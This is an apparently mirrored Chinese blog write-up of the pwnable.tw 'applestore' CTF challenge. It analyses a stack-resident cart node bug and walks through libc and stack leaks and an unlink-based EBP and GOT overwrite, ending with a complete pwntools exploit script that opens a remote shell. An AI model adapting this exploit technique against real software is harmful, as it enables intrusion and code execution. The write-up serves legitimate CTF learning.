zoukankan      html  css  js  c++  java
  • PWNABLE applestore

    查看文件基本信息

     

     分析程序行为

    该题是模拟了apple的商店,来售卖apple的各种产品,其提供了6个功能:

    • 1: 展示商店的商品
    • 2: 添加商品到购物车
    • 3: 从购物车里面将某一商品删除
    • 4: 展示购物车里面的商品
    • 5: 结算
    • 6: 退出

     静态分析

    先创建一个结构体:

     然后分析这块代码,每一个新添加的手机都是一个chunk,起始位置位于myCart上,是确定的,其后跟着其他的chunk,如下图:

    Phone *__cdecl insert(Phone *a1)
    {
      Phone *result; // eax
      Phone *i; // [esp+Ch] [ebp-4h]
    
      for ( i = (Phone *)&myCart; i->next; i = (Phone *)i->next )
        ;
      i->next = (int)a1;
      result = a1;
      a1->before = (int)i;
      return result;
    }

    在分析checkout()这个函数时,发现当总金额达到7174时,会自动添加一个1块钱的iPhone8,最关键的是,这一块chunk是放到栈上的!!!

     可以看到新添加的iPhone8的地址是在[ebp-20h]处。因为checkout(),cart(),delete()等函数在执行完后都会返回handler(),这就保证了返回时的EBP和ESP是相同的,然后再调用checkout(),cart(),delete()等函数时,EBP和ESP仍然相同。

    unsigned int checkout()
    {
      int v1; // [esp+10h] [ebp-28h]
      Phone v2; // [esp+18h] [ebp-20h] BYREF
      unsigned int v3; // [esp+2Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      v1 = cart();                                  // 计算多少钱
      if ( v1 == 7174 )
      {
        puts("*: iPhone 8 - $1");
        asprintf((char **)&v2, "%s", "iPhone 8");
        v2.price = 1;
        insert(&v2);
        v1 = 7175;
      }
      printf("Total: $%d\n", v1);
      puts("Want to checkout? Maybe next time!");
      return __readgsdword(0x14u) ^ v3;
    }

    所以可以在cart()中,在输入buf变量时,更改[ebp-0x20]的这块栈内存。进行泄露libc基址和覆盖GOT表。

    int cart()
    {
      int v0; // eax
      int v2; // [esp+18h] [ebp-30h]
      int v3; // [esp+1Ch] [ebp-2Ch]
      Phone *i; // [esp+20h] [ebp-28h]
      char buf[22]; // [esp+26h] [ebp-22h] BYREF
      unsigned int v6; // [esp+3Ch] [ebp-Ch]
    
      v6 = __readgsdword(0x14u);
      v2 = 1;
      v3 = 0;
      printf("Let me check your cart. ok? (y/n) > ");
      fflush(stdout);
      my_read(buf, 21u);
      if ( buf[0] == 'y' )
      {
        puts("==== Cart ====");
        for ( i = (Phone *)next; i; i = (Phone *)i->next )
        {
          v0 = v2++;
          printf("%d: %s - $%d\n", v0, (const char *)i->device, i->price);
          v3 += i->price;
        }
      }
      return v3;
    }

     动态分析

     其他的WP都写着要泄露EBP,然后用到了一个environ,然后这个EBP的地址就是泄露出来的environ-0x104,怎么来的好多WP没写,这里来写一写:

    这个要在脚本中写好的exp中进行调试,exp就是最下面的那个。然后在0x848c41这个地方下个断点。

     按s进入delete函数,然后在这里停下来

     然后 输入stack 50查看栈的情况:

     可以看到ebp的地址为0xffeaf268  而此时我们获取到的environ为0xffeaf36c。所以需要将environ-0x104才是ebp的位置。

     漏洞利用

     1.因为一块钱的iPhone8放在了栈上,并且这块栈可控。

    2.修改chunk的头上四字节为某一函数的GOT,从而求出libc基地址。

    3.利用求出的libc基地址,可以进一步得出environ变量的值。

    4.利用动态调试,得到ebp的地址为environ-0x104。

    5.调用delete函数,将next和before位置上的值分别设为got['atoi']-0x22和ebp-0x8,在unlink时,就会把ebp对应的那块栈内存设置成got['atoi']-0x22,并且通过函数结束时的pop ebp, 把这个got['atoi']-0x22弹入ebp寄存器当中。

    6.delete函数调用结束后会返回handler,因为它是一个while循环,所以并不是从handler最开始的地方开始执行,这样就保持了上一步修改的ebp寄存器当中的值不发生变化。

    7.如下图的handler的汇编语言显示,因为当前ebp寄存器中的值为got['atoi']-0x22,再加上0x22就是got['atoi']的位置,这里将system的地址与/bin/sh写入。当下面执行atoi函数时,其实就成立执行system函数了,并且参数为system的地址加/bin/sh,所以需要加个分号,从而最终得到shell。

     EXP

    from pwn import *
    context.log_level = 'debug'
    # io=process('./applestore')
    # io=gdb.debug('./applestore','b main')
    io=remote('chall.pwnable.tw','10104')
    elf=ELF('./applestore')
    # libc=ELF('/lib/i386-linux-gnu/libc.so.6')
    libc=ELF('libc.so.6')
    got_atoi=elf.got['atoi']
    def add(number):
        io.recvuntil('> ')
        io.sendline('2')
        io.recvuntil('Device Number> ')
        io.sendline(number)
    
    def check():
        io.recvuntil('>')
        io.sendline('5')
        io.recvuntil('Let me check your cart. ok? (y/n) > ')
        io.sendline('y')
    
    def cart(addr,addr2):
        io.recvuntil('> ')
        io.sendline('4')
        io.recvuntil('Let me check your cart. ok? (y/n) > ')
        io.sendline('y\x00'+addr+p32(0xdeadbeef)+addr2+p32(0xdeadbeef))
    
    for i in range(6):
        add('1')
    for i in range(20):
        add('2')
    check()
    
    cart(p32(got_atoi),p32(0x804B070))
    io.recvuntil('27: ')
    address_atoi=u32(io.recv(numb=4))
    print hex(address_atoi)
    libc.address=address_atoi-libc.sym['atoi']
    environ=libc.sym['environ']
    
    cart(p32(environ),p32(0x804B070))
    io.recvuntil('27: ')
    addr_stack=u32(io.recv(numb=4))
    print hex(addr_stack)
    addr_ebp=addr_stack-0x104
    
    io.recv()
    io.sendline('3')
    io.recvuntil('Item Number> ')
    io.sendline('27'+p32(0x08049068)+p32(0xdeadbeef)+p32(elf.got['atoi']+0x22)+p32(addr_ebp-0x8)) #最开始四字节需要为一个能访问的地址
    
    io.recvuntil('> ')
    io.sendline(p32(libc.sym['system'])+';/bin/sh\x00')
    io.interactive()
  • 相关阅读:
    PAT 1010. 一元多项式求导 (25)
    PAT 1009. 说反话 (20) JAVA
    PAT 1009. 说反话 (20)
    PAT 1007. 素数对猜想 (20)
    POJ 2752 Seek the Name, Seek the Fame KMP
    POJ 2406 Power Strings KMP
    ZOJ3811 Untrusted Patrol
    Codeforces Round #265 (Div. 2) 题解
    Topcoder SRM632 DIV2 解题报告
    Topcoder SRM631 DIV2 解题报告
  • 原文地址:https://www.cnblogs.com/sweetbaby/p/15546220.html
Copyright © 2011-2022 走看看